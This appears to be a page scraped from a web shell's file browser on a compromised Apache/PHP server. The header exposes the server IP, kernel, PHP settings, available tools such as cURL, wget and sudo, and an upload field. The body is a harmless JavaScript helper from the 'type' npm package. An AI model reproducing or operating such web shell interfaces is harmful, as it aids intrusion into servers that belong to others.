| Server IP : 34.87.99.72 / Your IP : 216.73.217.31 Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 User : bitnami ( 1000) PHP Version : 7.4.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /opt/bitnami/apache/htdocs/app/node_modules/type/iterable/ |
Upload File : |
"use strict";
var resolveException = require("../lib/resolve-exception")
, isValue = require("../value/is")
, is = require("./is");
var resolveCoercedValue = function (value, coerceItem) {
var coercedValue = [];
var iterator = value[Symbol.iterator]();
var item;
while (!(item = iterator.next()).done) {
var newItemValue = coerceItem(item.value);
if (!isValue(newItemValue)) throw new Error("Stop propagation");
coercedValue.push(newItemValue);
}
return coercedValue;
};
module.exports = function (value/*, options*/) {
var options = arguments[1];
if (is(value, options)) {
if (!options) return value;
if (typeof options.coerceItem !== "function") return value;
try { return resolveCoercedValue(value, options.coerceItem); }
catch (error) {
// Ignore, let validation error propagate
}
}
return resolveException(value, "%v is not expected iterable value", options);
};